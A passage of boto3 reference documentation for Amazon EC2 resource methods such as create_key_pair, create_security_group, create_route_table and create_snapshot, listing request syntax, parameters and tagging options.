elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id811)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id813)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + - **Tags** _(list) --_ + + The tags to apply to the resource. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +ec2.InternetGateway + +Returns + +InternetGateway resource + +create_key_pair(kwargs_) + +Creates a 2048-bit RSA key pair with the specified name. Amazon EC2 stores the public key and displays the private key for you to save to a file. The private key is returned as an unencrypted PEM encoded PKCS#1 private key. If a key with the specified name already exists, Amazon EC2 returns an error. + +You can have up to five thousand key pairs per Region. + +The key pair returned to you is available only in the Region in which you create it. If you prefer, you can create your own key pair using a third-party tool and upload it to any Region using ImportKeyPair . + +For more information, see [Key Pairs](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-key-pairs.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateKeyPair) + +**Request Syntax** + +key_pair = ec2.create_key_pair( + KeyName='string', + DryRun=True|False, + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ] +) + +Parameters + +- **KeyName** (_string_) -- + + **[REQUIRED]** + + A unique name for the key pair. + + Constraints: Up to 255 ASCII characters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **TagSpecifications** (_list_) -- + + The tags to apply to the new key pair. + + - _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + - **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id816)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id818)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + - **Tags** _(list) --_ + + The tags to apply to the resource. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Return type + +ec2.KeyPair + +Returns + +KeyPair resource + +create_network_acl(kwargs_) + +Creates a network ACL in a VPC. Network ACLs provide an optional layer of security (in addition to security groups) for the instances in your VPC. + +For more information, see [Network ACLs](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_ACLs.html) in the _Amazon Virtual Private Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateNetworkAcl) + +**Request Syntax** + +network_acl = ec2.create_network_acl( + DryRun=True|False, + VpcId='string', + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ] +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **VpcId** (_string_) -- + + **[REQUIRED]** + + The ID of the VPC. + +- **TagSpecifications** (_list_) -- + + The tags to assign to the network ACL. + + - _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + - **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id821)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id823)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + - **Tags** _(list) --_ + + The tags to apply to the resource. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Return type + +ec2.NetworkAcl + +Returns + +NetworkAcl resource + +create_network_interface(kwargs_) + +Creates a network interface in the specified subnet. + +For more information about network interfaces, see [Elastic Network Interfaces](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-eni.html) in the _Amazon Virtual Private Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateNetworkInterface) + +**Request Syntax** + +network_interface = ec2.create_network_interface( + Description='string', + DryRun=True|False, + Groups=[ + 'string', + ], + Ipv6AddressCount=123, + Ipv6Addresses=[ + { + 'Ipv6Address': 'string' + }, + ], + PrivateIpAddress='string', + PrivateIpAddresses=[ + { + 'Primary': True|False, + 'PrivateIpAddress': 'string' + }, + ], + SecondaryPrivateIpAddressCount=123, + InterfaceType='efa', + SubnetId='string', + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ] +) + +Parameters + +- **Description** (_string_) -- A description for the network interface. +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **Groups** (_list_) -- + + The IDs of one or more security groups. + + - _(string) --_ +- **Ipv6AddressCount** (_integer_) -- The number of IPv6 addresses to assign to a network interface. Amazon EC2 automatically selects the IPv6 addresses from the subnet range. You can't use this option if specifying specific IPv6 addresses. If your subnet has the AssignIpv6AddressOnCreation attribute set to true , you can specify 0 to override this setting. +- **Ipv6Addresses** (_list_) -- + + One or more specific IPv6 addresses from the IPv6 CIDR block range of your subnet. You can't use this option if you're specifying a number of IPv6 addresses. + + - _(dict) --_ + + Describes an IPv6 address. + + - **Ipv6Address** _(string) --_ + + The IPv6 address. + +- **PrivateIpAddress** (_string_) -- The primary private IPv4 address of the network interface. If you don't specify an IPv4 address, Amazon EC2 selects one for you from the subnet's IPv4 CIDR range. If you specify an IP address, you cannot indicate any IP addresses specified in privateIpAddresses as primary (only one IP address can be designated as primary). +- **PrivateIpAddresses** (_list_) -- + + One or more private IPv4 addresses. + + - _(dict) --_ + + Describes a secondary private IPv4 address for a network interface. + + - **Primary** _(boolean) --_ + + Indicates whether the private IPv4 address is the primary private IPv4 address. Only one IPv4 address can be designated as primary. + + - **PrivateIpAddress** _(string) --_ + + The private IPv4 addresses. + +- **SecondaryPrivateIpAddressCount** (_integer_) -- + + The number of secondary private IPv4 addresses to assign to a network interface. When you specify a number of secondary IPv4 addresses, Amazon EC2 selects these IP addresses within the subnet's IPv4 CIDR range. You can't specify this option and specify more than one private IP address using privateIpAddresses . + + The number of IP addresses you can assign to a network interface varies by instance type. For more information, see [IP Addresses Per ENI Per Instance Type](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-eni.html#AvailableIpPerENI) in the _Amazon Virtual Private Cloud User Guide_ . + +- **InterfaceType** (_string_) -- Indicates the type of network interface. To create an Elastic Fabric Adapter (EFA), specify efa . For more information, see [Elastic Fabric Adapter](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/efa.html) in the _Amazon Elastic Compute Cloud User Guide_ . +- **SubnetId** (_string_) -- + + **[REQUIRED]** + + The ID of the subnet to associate with the network interface. + +- **TagSpecifications** (_list_) -- + + The tags to apply to the new network interface. + + - _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + - **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id826)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id828)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + - **Tags** _(list) --_ + + The tags to apply to the resource. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Return type + +ec2.NetworkInterface + +Returns + +NetworkInterface resource + +create_placement_group(kwargs_) + +Creates a placement group in which to launch instances. The strategy of the placement group determines how the instances are organized within the group. + +A cluster placement group is a logical grouping of instances within a single Availability Zone that benefit from low network latency, high network throughput. A spread placement group places instances on distinct hardware. A partition placement group places groups of instances in different partitions, where instances in one partition do not share the same hardware with instances in another partition. + +For more information, see [Placement groups](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/placement-groups.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreatePlacementGroup) + +**Request Syntax** + +placement_group = ec2.create_placement_group( + DryRun=True|False, + GroupName='string', + Strategy='cluster'|'spread'|'partition', + PartitionCount=123, + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ] +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **GroupName** (_string_) -- + + A name for the placement group. Must be unique within the scope of your account for the Region. + + Constraints: Up to 255 ASCII characters + +- **Strategy** (_string_) -- The placement strategy. +- **PartitionCount** (_integer_) -- The number of partitions. Valid only when **Strategy** is set to partition . +- **TagSpecifications** (_list_) -- + + The tags to apply to the new placement group. + + - _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + - **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id831)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id833)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + - **Tags** _(list) --_ + + The tags to apply to the resource. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Return type + +ec2.PlacementGroup + +Returns + +PlacementGroup resource + +create_route_table(kwargs_) + +Creates a route table for the specified VPC. After you create a route table, you can add routes and associate the table with a subnet. + +For more information, see [Route Tables](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_Route_Tables.html) in the _Amazon Virtual Private Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateRouteTable) + +**Request Syntax** + +route_table = ec2.create_route_table( + DryRun=True|False, + VpcId='string', + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ] +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **VpcId** (_string_) -- + + **[REQUIRED]** + + The ID of the VPC. + +- **TagSpecifications** (_list_) -- + + The tags to assign to the route table. + + - _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + - **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id836)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id838)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + - **Tags** _(list) --_ + + The tags to apply to the resource. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Return type + +ec2.RouteTable + +Returns + +RouteTable resource + +create_security_group(kwargs_) + +Creates a security group. + +A security group acts as a virtual firewall for your instance to control inbound and outbound traffic. For more information, see [Amazon EC2 Security Groups](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-network-security.html) in the _Amazon Elastic Compute Cloud User Guide_ and [Security Groups for Your VPC](https://docs.aws.amazon.com/AmazonVPC/latest/UserGuide/VPC_SecurityGroups.html) in the _Amazon Virtual Private Cloud User Guide_ . + +When you create a security group, you specify a friendly name of your choice. You can have a security group for use in EC2-Classic with the same name as a security group for use in a VPC. However, you can't have two security groups for use in EC2-Classic with the same name or two security groups for use in a VPC with the same name. + +You have a default security group for use in EC2-Classic and a default security group for use in your VPC. If you don't specify a security group when you launch an instance, the instance is launched into the appropriate default security group. A default security group includes a default rule that grants instances unrestricted network access to each other. + +You can add or remove rules from your security groups using AuthorizeSecurityGroupIngress , AuthorizeSecurityGroupEgress , RevokeSecurityGroupIngress , and RevokeSecurityGroupEgress . + +For more information about VPC security group limits, see [Amazon VPC Limits](https://docs.aws.amazon.com/vpc/latest/userguide/amazon-vpc-limits.html) . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateSecurityGroup) + +**Request Syntax** + +security_group = ec2.create_security_group( + Description='string', + GroupName='string', + VpcId='string', + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + DryRun=True|False +) + +Parameters + +- **Description** (_string_) -- + + **[REQUIRED]** + + A description for the security group. This is informational only. + + Constraints: Up to 255 characters in length + + Constraints for EC2-Classic: ASCII characters + + Constraints for EC2-VPC: a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=&;{}!$* + +- **GroupName** (_string_) -- + + **[REQUIRED]** + + The name of the security group. + + Constraints: Up to 255 characters in length. Cannot start with sg- . + + Constraints for EC2-Classic: ASCII characters + + Constraints for EC2-VPC: a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=&;{}!$* + +- **VpcId** (_string_) -- [EC2-VPC] The ID of the VPC. Required for EC2-VPC. +- **TagSpecifications** (_list_) -- + + The tags to assign to the security group. + + - _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + - **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id841)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id843)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + - **Tags** _(list) --_ + + The tags to apply to the resource. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +ec2.SecurityGroup + +Returns + +SecurityGroup resource + +create_snapshot(kwargs_) + +Creates a snapshot of an EBS volume and stores it in Amazon S3. You can use snapshots for backups, to make copies of EBS volumes, and to save data before shutting down an instance. + +When a snapshot is created, any AWS Marketplace product codes that are associated with the source volume are propagated to the snapshot. + +You can take a snapshot of an attached volume that is in use. However, snapshots only capture data that has been written to your EBS volume at the time the snapshot command is issued; this might exclude any data that has been cached by any applications or the operating system. If you can pause any file systems on the volume long enough to take a snapshot, your snapshot should be complete. However, if you cannot pause all file writes to the volume, you should unmount the volume from within the instance, issue the snapshot command, and then remount the volume to ensure a consistent and complete snapshot. You may remount and use your volume while the snapshot status is pending . + +To create a snapshot for EBS volumes that serve as root devices, you should stop the instance before taking the snapshot. + +Snapshots that are taken from encrypted volumes are automatically encrypted. Volumes that are created from encrypted snapshots are also automatically encrypted. Your encrypted volumes and any associated snapshots always remain protected. + +You can tag your snapshots during creation. For more information, see [Tagging your Amazon EC2 resources](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_Tags.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +For more information, see [Amazon Elastic Block Store](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/AmazonEBS.html) and [Amazon EBS encryption](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateSnapshot) + +**Request Syntax** + +snapshot = ec2.create_snapshot( + Description='string', + VolumeId='string', + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + DryRun=True|False +) + +Parameters + +- **Description** (_string_) -- A description for the snapshot. +- **VolumeId** (_string_) -- + + **[REQUIRED]** + + The ID of the EBS volume. + +- **TagSpecifications** (_list_) -- + + The tags to apply to the snapshot during creation. + + - _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + - **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id846)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id848)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + 